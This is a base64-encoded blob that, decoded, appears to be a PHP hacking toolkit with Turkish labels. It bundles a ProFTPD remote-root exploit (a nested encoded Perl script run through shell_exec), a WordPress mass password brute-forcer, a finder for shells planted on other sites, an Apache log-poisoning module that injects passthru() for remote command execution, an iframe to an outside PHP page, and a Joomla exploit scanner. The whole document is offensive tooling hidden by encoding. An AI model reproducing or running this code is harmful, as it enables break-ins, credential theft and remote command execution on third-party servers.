WdJQ0FnSUNCUVpXVnlVRzl5ZENBOVBpQXlNU3dLSUNBZ0lDQWcNCiAgICBJQ0FnSUNBSkNTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lGQnliM1J2SUNBZ0lEMCtJQ2QwWTNBbktUc0pDUWtKSUFvSkpIWWdQU0E4DQogICAgSkhOdlkycytPd29LQ1hCeWFXNTBJQ1J6YjJOcklDSmNlREF3SWlCNElDUmhiR2xuYmlBdUlDSmNlR1ptSWlBdUlDUnpkR0ZqYXlBdQ0KICAgIElDSmNiaUk3Q2drS0NYQnlhVzUwSUNKRGFHVmpheUI1YjNWeUlHNWxkR05oZEQ5Y2JpSTdDZ2tLQ1hkb2FXeGxLRHdrYzI5amF6NHANCiAgICBJSHNLQ1Fsd2NtbHVkRHNKQ2dsOUNRa0pJQXA5Q2dwemRXSWdkWE5oWjJVb0tTQjdDZ2x3Y21sdWRDQWlkM0pwZEhSbGJpQmllU0JyDQogICAgYVc1blkyOXdaVnh1SWpzS0lBbHdjbWx1ZENBaWRYTmhaMlU2WEc0aUxnb2dDUWtnSUNKd2NtOXlaVzF2ZEdVdWNHd2dQSFJoY21kbA0KICAgIGRDQnBjQzlvYjNOMFBpQThlVzkxY2lCcGNENGdQSFJoY21kbGRDQjBlWEJsUGx4dVhHNGlPd29nSUNBZ1ptOXlJQ2drYVQwd095QWsNCiAgICBhVHdrYm5WdGRHRnlaMlYwY3pzZ0pHa3JLeWtnZXdvZ0lBa0pjSEpwYm5RZ0lseDBXeUl1SkdrdUlsMWNkQ0l1SUNSMFlYSm5aWFJ6DQogICAgV3lScFhWc3dYUzRnSWx4eVhHNGlPd29nSUNBZ2ZRb2dDUWtnSUFwbGVHbDBPd3A5Q2dwcFppQW9KQ05CVWtkV0lHNWxJRElwSUhzZw0KICAgIGRYTmhaMlU3SUgwS0NpUjBZWEpuWlhRZ1BTQWtRVkpIVmxzd1hUc0tKR05pYVhBZ1BTQWtRVkpIVmxzeFhUc0tKSFIwZVhCbElEMGcNCiAgICBKRUZTUjFaYk1sMDdDZ29rY0d4aGRHWnZjbTBnUFNBa2RHRnlaMlYwYzFza2RIUjVjR1ZkV3pGZE93b2tjM1I1YkdVZ1BTQWtkR0Z5DQogICAgWjJWMGMxc2tkSFI1Y0dWZFd6SmRPd29LS0NSaE1Td2dKR0V5TENBa1lUTXNJQ1JoTkNrZ1BTQnpjR3hwZENndkx5d2daMlYwYUc5eg0KICAgIGRHSjVibUZ0WlNnaUpHTmlhWEFpS1NrN0NncHBaaUFvSkhCc1lYUm1iM0p0SUdWeElDSkdjbVZsUWxORUlpa2dld29KSkhOb1pXeHMNCiAgICBZMjlrWlNBOUlDUmljMlJqWW5Oak93b0pjM1ZpYzNSeUtDUnphR1ZzYkdOdlpHVXNJRE0zTENBMExDQWtZVEVnTGlBa1lUSWdMaUFrDQogICAgWVRNZ0xpQWtZVFFwT3dwOUlHVnNjMlVnZXlBS2FXWWdLQ1J3YkdGMFptOXliU0JsY1NBaVRHbHVkWGdpS1NCN0Nna2tjMmhsYkd4ag0KICAgIGIyUmxJRDBnSkd4dWVHTmljMk03Q2dsemRXSnpkSElvSkhOb1pXeHNZMjlrWlN3Z016RXNJRFFzSUNSaE1TQXVJQ1JoTWlBdUlDUmgNCiAgICBNeUF1SUNSaE5DazdDbjBnWld4elpTQjdDZ2x3Y21sdWRDQWlkSGx3YnlBL1hHNGlPd29KWlhocGREc0tmWDBLQ21sbUlDZ2tjM1I1DQogICAgYkdVZ1pYRWdNQ2tnZXdvSlpYaHdiRzlwZERFN0NuMGdaV3h6WlNCN0NnbGxlSEJzYjJsME1qc0pDbjBLQ25CeWFXNTBJQ0prYjI1bA0KICAgIExseHVJanNLWlhocGREcz0nOw0KICAgICANCiAgICAkZmlsZSA9IGZvcGVuKCJwcm9mdHBkLnBsIiAsIncrIik7DQogICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkcHJvZnRwKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgDQogICAgY2xhc3MgcHJvZnRwZHsNCiAgICAgDQogICAgcHVibGljIGZ1bmN0aW9uIHBlcmwoJGlwbGVyLCRpcGFkcmVzaW4sJHNheWkpew0KICAgICANCiAgICAgDQogICAgJGNhbGlzdGlyPXNoZWxsX2V4ZWMoInBlcmwgcHJvZnRwZC5wbCAiLiRpcGxlci4iICIuJGlwYWRyZXNpbi4iICIuJHNheWkuIiIpOw0KICAgICANCiAgICAgDQogICAgZWNobyAiPGZvbnQgc2l6ZT0nMycgY29sb3I9J3doaXRlJz4iLiRjYWxpc3Rpci4iPC9mb250Pjxicj4iOw0KICAgIG9iX2ZsdXNoKCk7DQogICAgZmx1c2goKTsNCiAgICAgDQogICAgIA0KICAgIH0NCiAgICAgDQogICAgfQ0KICAgICANCiAgICAgDQogICAgZWNobyAnPGNlbnRlcj48dGl0bGU+UHJvRlRQRCBJQUMgUmVtb3RlIFJvb3QgU2NyaXB0IC0gPC90aXRsZT4NCiAgICA8Ym9keSBiZ2NvbG9yPSJibGFjayI+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgPGZvbnQgc2l6ZT0iNSIgY29sb3I9InJlZCI+UmVkc2VjdXJpdHk8L2ZvbnQ+IDxmb250IHNpemU9IjUiIGNvbG9yPSJ3aGl0ZSI+UHJvRlRQRCBJQUMgUmVtb3RlIFJvb3QgU2NyaXB0W1ByaXY4XTwvZm9udD48YnI+PGJyPjxmb250IHNpemU9IjIiIGNvbG9yPSJ3aGl0ZSI+SXBsZXIgOiA8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJpcGxlciIgY29scz0iMzUiIHJvd3M9IjUiPjwvdGV4dGFyZWE+PGJyPg0KICAgIDxmb250IHNpemU9IjIiIGNvbG9yPSJ3aGl0ZSI+U2XnaW0gOiA8L2ZvbnQ+PGJyPjxzZWxlY3QgbmFtZT0ic2VjaW0iPg0KICAgIDxvcHRpb24gdmFsdWU9IjAiPjA8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxIj4xPC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT0iMiI+Mjwvb3B0aW9uPg0KICAgIDxvcHRpb24gdmFsdWU9IjMiPjM8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSI0Ij40PC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT0iNSI+NTwvb3B0aW9uPg0KICAgIDxvcHRpb24gdmFsdWU9IjYiPjY8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSI3Ij43PC9vcHRpb24+DQogICAgPG9wdGlvbiB2YWx1ZT0iOCI+ODwvb3B0aW9uPg0KICAgIDxvcHRpb24gdmFsdWU9IjkiPjk8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4NCiAgICA8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4NCiAgICA8L3NlbGVjdD48YnI+DQogICAgPGZvbnQgc2l6ZT0iMiIgY29sb3I9IndoaXRlIj5JUCBhZHJlc2luaXogOiA8L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpcGFkcmVzaW4iPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idzAwdCI+DQogICAgPC9mb3JtPg0KICAgIDwvYm9keT4NCiAgICA8L2NlbnRlcj4nOw0KICAgICANCiAgICAgDQogICAgaWYoISAkX1BPU1RbJ2lwbGVyJ109PSIiKXsNCiAgICAkcHJvPW5ldyBwcm9mdHBkKCk7DQogICAgIA0KICAgICRpcGFkcmVzaW49JF9QT1NUWydpcGFkcmVzaW4nXTsNCiAgICAkaXBsZXI9ZXhwbG9kZSgiXG4iLCRfUE9TVFsnaXBsZXInXSk7DQogICAgZm9yZWFjaCgkaXBsZXIgYXMgJGlwKXsNCiAgICAkaXA9dHJpbSgkaXApOw0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09MCl7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnMCcpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTEpew0KICAgICRwcm8tPnBlcmwoJGlwLCRpcGFkcmVzaW4sJzEnKTsNCiAgICB9DQogICAgaWYoJF9QT1NUWydzZWNpbSddPT0yKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcyJyk7DQogICAgfQ0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09Myl7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnMycpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTQpew0KICAgICRwcm8tPnBlcmwoJGlwLCRpcGFkcmVzaW4sJzQnKTsNCiAgICB9DQogICAgaWYoJF9QT1NUWydzZWNpbSddPT01KXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCc1Jyk7DQogICAgfQ0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09Nil7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnNicpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTcpew0KICAgICRwcm8tPnBlcmwoJGlwLCRpcGFkcmVzaW4sJzcnKTsNCiAgICB9DQogICAgaWYoJF9QT1NUWydzZWNpbSddPT04KXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCc4Jyk7DQogICAgfQ0KICAgIGlmKCRfUE9TVFsnc2VjaW0nXT09OSl7DQogICAgJHByby0+cGVybCgkaXAsJGlwYWRyZXNpbiwnOScpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTEwKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcxMCcpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTExKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcxMScpOw0KICAgIH0NCiAgICBpZigkX1BPU1RbJ3NlY2ltJ109PTEyKXsNCiAgICAkcHJvLT5wZXJsKCRpcCwkaXBhZHJlc2luLCcxMicpOw0KICAgIH0NCiAgICAgDQogICAgfQ0KICAgICANCiAgICB9DQogICAgIA0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJicnV0ZWNpIiApIHsNCiAgICBvYl9zdGFydCgpOw0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAjV29yZHByZXNzIE1hc3MgQnJ1dGUgRm9yY2VyIw0KICAgICNDb2RleC14IEJ5IGl6bGV5aWNpIw0KICAgICNTaXRlbGVyaSBodHRwOi8vd3d3LnNpdGUuY29tLyBTZWtsaW5kZSB2ZXJpbiMNCiAgICAgDQogICAgZWNobyAnPHRpdGxlPldvcmRwcmVzcyBNYXNzIEJydXRlIEZvcmNlcjwvdGl0bGU+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICA8IS0tDQogICAgYm9keSx0ZCx0aCB7DQogICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgfQ0KICAgIGJvZHkgew0KICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogICAgfQ0KICAgIC5zaXlhaCB7DQogICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzk5MDAwMDsNCiAgICB9DQogICAgLnN0eWxlMiB7DQogICAgICAgY29sb3I6ICNGRkZGRkY7DQogICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzk5MDAwMDsNCiAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICBmb250LXNpemU6IDI0cHg7DQogICAgfQ0KICAgIC0tPg0KICAgIDwvc3R5bGU+DQogICAgPGRpdiBhbGlnbj0iY2VudGVyIiBjbGFzcz0ic3R5bGUyIj5Xb3JkcHJlc3MgTWFzcyBCcnV0ZSBGb3JjZXIgPC9kaXY+DQogICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9wPg0KICAgIDxwIGFsaWduPSJjZW50ZXIiPg0KICAgICAgPHRleHRhcmVhIG5hbWU9InNpdGVsaXN0IiBjb2xzPSI0MCIgcm93cz0iMTAiIGNsYXNzPSJzaXlhaCIgaWQ9InNpdGVsaXN0Ij48L3RleHRhcmVhPg0KICAgICAgPGJyPg0KICAgICAgPGJyPg0KICAgIFNpZnJlIExpc3Rlc2k6IDxpbnB1dCBuYW1lPSJsaXN0ZSIgdHlwZT0idGV4dCIgdmFsdWU9InNpZnJlbGVyLnR4dCI+PGJyPg0KICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpeWFoIiB2YWx1ZT0iVGFyYSB5aWdlbiI+DQogICAgPC9wPg0KICAgIDwvZm9ybT4nOw0KICAgICRzaXRlbGlzdD1leHBsb2RlKCJcbiIsJF9QT1NUWydzaXRlbGlzdCddKTsNCiAgICBmb3JlYWNoKCRzaXRlbGlzdCBhcyAkeWVuaWxpc3Qpew0KICAgICR0ZW1pej10cmltKCR5ZW5pbGlzdCk7DQogICAgJHNpdGU9JHRlbWl6Ow0KICAgICANCiAgICBpZighICRfUE9TVFsnc2l0ZWxpc3QnXT09IiIpew0KICAgICRwYXNzPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsaXN0ZSddKTsNCiAgICBmb3JlYWNoKGZpbGUoJHBhc3MpYXMgJHBhc3N3b3JkKXsNCiAgICAgDQogICAgJGN1cmwgPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlLicvd3AtbG9naW4ucGhwJyk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVKQVIsImNva2kxMS50eHQiKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsImNva2kxMS50eHQiKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVCxUUlVFKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1RGSUVMRFMsImxvZz1hZG1pbiZwd2Q9JHBhc3N3b3JkJndwLXN1Ym1pdD1Mb2crSW4mcmVkaXJlY3RfdG89LiRzaXRlLi93cC1hZG1pbi8mdGVzdGNvb2tpZT0xIik7DQogICAgIA0KICAgICRhID0gY3VybF9leGVjKCRjdXJsKTsNCiAgICAgDQogICAgaWYoZXJlZ2kgKCJwcm9maWxlLnBocCIsJGEpKXsNCiAgICAgDQogICAgIA0KICAgICAgICAgIGVjaG8gJzxjZW50ZXI+PGEgaHJlZj0iJy4kc2l0ZS4nL3dwLWxvZ2luLnBocD9yZWRpcmVjdF90bz0nLiRzaXRlLicvd3AtYWRtaW4vcmVhdXRoPTEiIHRhcmdldD0iX2JsYW5rIj4nLiRzaXRlLicgdXNlcj1hZG1pbiBwYXNzPScuJHBhc3N3b3JkLic8L2E+PC9jZW50ZXI+JzsNCiAgICAkaXpiYWs9Zm9wZW4oIm9rLnBocCIsYSk7DQogICAgZndyaXRlKCRpemJhaywkc2l0ZS4kcGFzc3dvcmQuIjxicj5cbiIpOw0KICAgIG9iX2ZsdXNoKCk7DQogICAgZmx1c2goKTsNCiAgICAgDQogICAgfQ0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJzaGVsbGNpIiApIHsNCiAgICBvYl9zdGFydCgpOw0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgIGVjaG8gJzxjZW50ZXI+PHRpdGxlPlNoZWxsIEtvbnRyb2xj/CA8L3RpdGxlPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIFNpdGVsZXIgOyA8YnI+PHRleHRhcmVhIG5hbWU9InNpdGVsZXIiIGNvbHM9IjM1IiByb3dzPSI3Ij48L3RleHRhcmVhPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idGFyYSI+DQogICAgPC9mb3JtPg0KICAgIDwvY2VudGVyPic7DQogICAgIA0KICAgIGlmKCEgJF9QT1NUWydzaXRlbGVyJ109PSIiKXsNCiAgICAgDQogICAgJHNpdGVsZXIgPSBleHBsb2RlKCJcbiIsJF9QT1NUWydzaXRlbGVyJ10pOw0KICAgIGZvcmVhY2goJHNpdGVsZXIgYXMgJHNpdGVzKXsNCiAgICAkc2l0ZXM9dHJpbSgkc2l0ZXMpOw0KICAgICRjdXJsPWN1cmxfaW5pdCgkc2l0ZXMpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgJGV4ZWM9Y3VybF9leGVjKCRjdXJsKTsNCiAgICBpZihlcmVnaSgnc2FmZV9tb2QnLCRleGVjKSl7DQogICAgZWNobyAnPGEgaHJlZj0iJy4kc2l0ZXMuJyI+Jy4kc2l0ZXMuJzwvYT48YnI+JzsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgfQ0KICAgIH0NCiAgICAgDQogICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJhcGFjaGUiICkgew0KICAgICRrb211dCA9ICRfUE9TVFsna29tdXQnXTsNCiAgICAkc2l0ZSA9ICRfUE9TVFsnc2l0ZSddOw0KICAgICRzaXRlMSA9ICRfUE9TVFsnc2l0ZTEnXTsNCiAgICBlY2hvICcNCiAgICA8YnI+PGgzPiBBcGFjaGUgTG9nIEVuamVrdGU8L2gzPjxicj4NCiAgICA8Zm9udCBjb2xvcj1ibHVlPg0KICAgICMjIyBLdWxsYW5pbSAjIyM8YnI+PGJyPg0KICAgICANCiAgICD2cm5layA6PGJyPg0KICAgIDxicj4NCiAgICBzaXRlPSB3d3cudGFyZ2V0LmNvbTxicj4NCiAgICBMRkk9IGh0dHA6Ly93d3cudGFyZ2V0LmNvbS9hcGFjaGUubG9nJTAwPGJyPg0KICAgIEtvbXV0PSBscyAtbGE8YnI+DQogICAgc2VrbGluZGUgZ2lyZXJzZW5peiBrb211dCBzaXN0ZW1pbmluIHNvbnVjdW51IGxpc3RlbGV5ZWNla3RpciA8YnI+PGJyPjxicj48YnI+PC9GT05UPg0KICAgIDxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iIj4NCiAgICBzaXRlOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zaXRlMSB2YWx1ZT0iJzsNCiAgICBlY2hvICRzaXRlMTsNCiAgICBlY2hvICciPg0KICAgIExGSTo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2l0ZSB2YWx1ZT0iJzsNCiAgICBlY2hvICRzaXRlOw0KICAgIGVjaG8gJyI+DQogICAgS29tdXQ6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWtvbXV0IHZhbHVlPSInOw0KICAgIGVjaG8gJGtvbXV0Ow0KICAgIGVjaG8gJyI+DQogICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJCYVEiPic7DQogICAgJGtvbXV0ID0gJF9QT1NUWydrb211dCddOw0KICAgICRzaXRlID0gJF9QT1NUWydzaXRlJ107DQogICAgJHNpdGUxID0gJF9QT1NUWydzaXRlMSddOw0KICAgIGlmKGlzc2V0KCRzaXRlKSkgew0KICAgIGlmKGlzc2V0KCRzaXRlMSkpIHsNCiAgICBpZihpc3NldCgka29tdXQpKSB7DQogICAgJGtvbXV0MSA9IHVybGVuY29kZSgka29tdXQpOw0KICAgICRrb2QgPSAnPHQxdGw4Pjw/IHBhc3N0aHJ1KCRfR0VUW2l6bzFdKSA/PjwvdDF0bDg+JzsNCiAgICAkZnAgPSBmc29ja29wZW4oIiRzaXRlMSIsIDgwLCAkZXJybm8sICRlcnJzdHIsIDMwKTsNCiAgICBpZiAoISRmcCkgew0KICAgICAgICBlY2hvICIkZXJyc3RyICgkZXJybm8pPGJyIC8+XG4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRvdXQgPSAiR0VUIC8ka29kIEhUVFAvMS4xXHJcbiI7DQogICAgICAgICRvdXQgLj0gIkhvc3Q6ICRzaXRlMSBcclxuIjsNCiAgICAgICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7DQogICAgICAgIGZ3cml0ZSgkZnAsICRvdXQpOw0KICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICB9DQogICAgJGl6byA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkc2l0ZSZpem8xPSRrb211dDEiKTsNCiAgICBwcmVnX21hdGNoX2FsbCgnIzx0MXRsOD4oLio/KTwvdDF0bDg+I3NpJywgJGl6bywgJHNpdGVtaXMpOw0KICAgIGZvcmVhY2goYXJyYXlfdW5pcXVlKCRzaXRlbWlzWzFdKSBhcyAkbGZpKSB7DQogICAgZWNobyAiPGg0PjxwcmU+PGZvbnQgY29sb3I9cmVkPiI7DQogICAgZWNobyAkbGZpOw0KICAgIGVjaG8gIjwvZm9udD48L2g0PjwvcHJlPiI7DQogICAgfQ0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJlMTA3IiApIHsNCiAgICA/Pg0KICAgIDxpZnJhbWUgc3JjPSdodHRwOi8vYXJjaGl0cmF2ZS5jb20ubXkvdGhlbWVzL2VuZ2xpc2gucGhwJyAgd2lkdGg9MTAwJSBoZWlnaHQ9NjAwIGlkPSJJMSIgbmFtZT0iSUYxIiA+DQogICAgPD8NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAiam9vbWxhZXhwbG9pdCIgKSB7DQogICAgPz4NCiAgICA8aHRtbD4NCiAgICA8aGVhZD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJmciI+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUyIj4NCiAgICA8dGl0bGU+I35Kb29NbGEgc2VydjNyIFNjYU5OM3I8L3RpdGxlPg0KICAgIDxzdHlsZT4NCiAgICBib2R5LHRhYmxle2JhY2tncm91bmQ6IGJsYWNrOyBmb250LWZhbWlseTpWZXJkYW5hLHRhaG9tYTsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6MTBweDsgfQ0KICAgIEE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiByZWQ7fQ0KICAgIEE6YWN0aXZlIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9DQogICAgQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9DQogICAgQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IGNvbG9yOiByZWQ7fQ0KICAgICNuZXcsaW5wdXQsdGFibGUsdGQsdHIsI2dne2JvcmRlci1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246Ym9sZDt9DQogICAgaW5wdXQ6aG92ZXIsdHI6aG92ZXIsdGQ6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjogI0ZGRkZDQzsgY29sb3I6Z3JlZW47fQ0KICAgIDwvc3R5bGU+DQogICAgPC9oZWFkPg0KICAgICANCiAgICA8Ym9keT4NCiAgICAgDQogICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9wPg0KICAgIDxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCiAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+DQogICAgPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgc2l6ZT0iMyI+I35Kb29NbGEgc2VydjNyIFNjYU5OM3I8L2ZvbnQ+PC9wPjxicj4NCiAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2l0ZSIgc2l6ZT0iNjUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FOIj48L3A+DQogICAgPC9mb3JtPjxjZW50ZXI+DQogICAgPD9waHANCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGVycm9yX3JlcG9ydGluZyhFX0FMTCB8IEVfTk9USUNFKTsNCiAgICAgDQogICAgZnVuY3Rpb24gY2hlY2tfZXhwbG9pdCgkY29teHgpew0KICAgICANCiAgICAkbGluayA9Imh0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9wYWdlPTEmZmlsdGVyX2Rlc2NyaXB0aW9uPSRjb214eCZmaWx0ZXJfZXhwbG9pdF90ZXh0PSZmaWx0ZXJfYXV0aG9yPSZmaWx0ZXJfcGxhdGZvcm09MCZmaWx0ZXJfdHlwZT0wJmZpbHRlcl9sYW5nX2lkPTAmZmlsdGVyX3BvcnQ9JmZpbHRlcl9vc3ZkYj0mZmlsdGVyX2N2ZT0iOw0KICAgICANCiAgICAkcmVzdWx0ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsaW5rKTsNCiAgICAgDQogICAgaWYgKGVyZWdpKCJObyByZXN1bHRzIiwkcmVzdWx0KSkgIHsNCiAgICAgDQogICAgZWNobyI8dGQ+Tm90IEZvdW5kPC90ZD48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5nb29nbGUuZHovI2hsPWVuJnE9ZG93bmxvYWQrJGNvbXh4K2pvb21sYStleHRlbnNpb24nPkRvd25sb2FkPC9hPjwvdGQ+PC90cj4iOw0KICAgICANCiAgICB9ZWxzZXsNCiAgICAgDQogICAgZWNobyI8dGQ+PGEgaHJlZj0nJGxpbmsnPkZvdW5kPC9hPjwvdGQ+PHRkPjw9PC90ZD48L3RyPiI7DQogICAgIA0KICAgIH0NCiAgICB9DQogICAgIA0KICAgIGZ1bmN0aW9uIGNoZWNrX2NvbSgkdXJsKXsNCiAgICAgDQogICAgJHNvdXJjZSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICAgDQogICAgcHJlZ19tYXRjaF9hbGwoJ3tvcHRpb24sKC4qPykvfWknLCRzb3VyY2UsJGYpOw0KICAgIHByZWdfbWF0Y2hfYWxsKCd7b3B0aW9uPSguKj8pKCZhbXA7fCZ8Iil9aScsJHNvdXJjZSwkZjIpOw0KICAgIHByZWdfbWF0Y2hfYWxsKCd7L2NvbXBvbmVudHMvKC4qPykvfWknLCRzb3VyY2UsJGYzKTsNCiAgICAgDQogICAgJGFyej1hcnJheV9tZXJnZSgkZjJbMV0sJGZbMV0sJGYzWzFdKTsNCiAgICAgDQogICAgJGNvbXM9YXJyYXkoKTsNCiAgICAgDQogICAgZm9yZWFjaChhcnJheV91bmlxdWUoJGFyeikgYXMgJHgpew0KICAgICRjb21zW109JHg7DQogICAgfQ0KICAgICANCiAgICBmb3JlYWNoKCRjb21zIGFzICRjb21tKXsNCiAgICAgDQogICAgZWNobyAiPHRyPjx0ZD4kY29tbTwvdGQ+IjsNCiAgICBjaGVja19leHBsb2l0KCRjb21tKTsNCiAgICB9DQogICAgIA0KICAgIH0NCiAgICAgDQogICAgZnVuY3Rpb24gc2VjKCRzaXRlKXsNCiAgICBwcmVnX21hdGNoX2FsbCgne2h0dHA6Ly8oLio/KSgvaW5kZXgucGhwKX1zaVUnLCRzaXRlLCAkc2l0ZXMpOw0KICAgIGlmKGVyZWdpKCJ3d3ciLCRzaXRlc1swXVswXSkpew0KICAgIHJldHVybiAkc2l0ZT1zdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIiwkc2l0ZXNbMF1bMF0pOw0KICAgIH1lbHNlew0KICAgIHJldHVybiAkc2l0ZT1zdHJfcmVwbGFjZSgiaHR0cDovLyIsImh0dHA6Ly93d3cuIixzdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIiwkc2l0ZXNbMF1bMF0pKTsNCiAgICB9fQ0KICAgICANCiAgICAkbnBhZ2VzID0gNTAwMDA7DQogICAgIA0KICAgIGlmICgkX1BPU1QpDQogICAgew0KICAgICAgJGlwID0gdHJpbShzdHJpcF90YWdzKCRfUE9TVFsnc2l0ZSddKSk7DQogICAgICAkbnBhZ2UgPSAxOw0KICAgICAgJGFsbExpbmtzID0gYXJyYXkoKTsNCiAgICAgDQogICAgIA0KICAgICAgIHdoaWxlKCRucGFnZSA8PSAkbnBhZ2VzKQ0KICAgICAgew0KICAgICANCiAgICAgICR4PUBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT1pcCUzQScgLiAkaXAgLiAnK2lu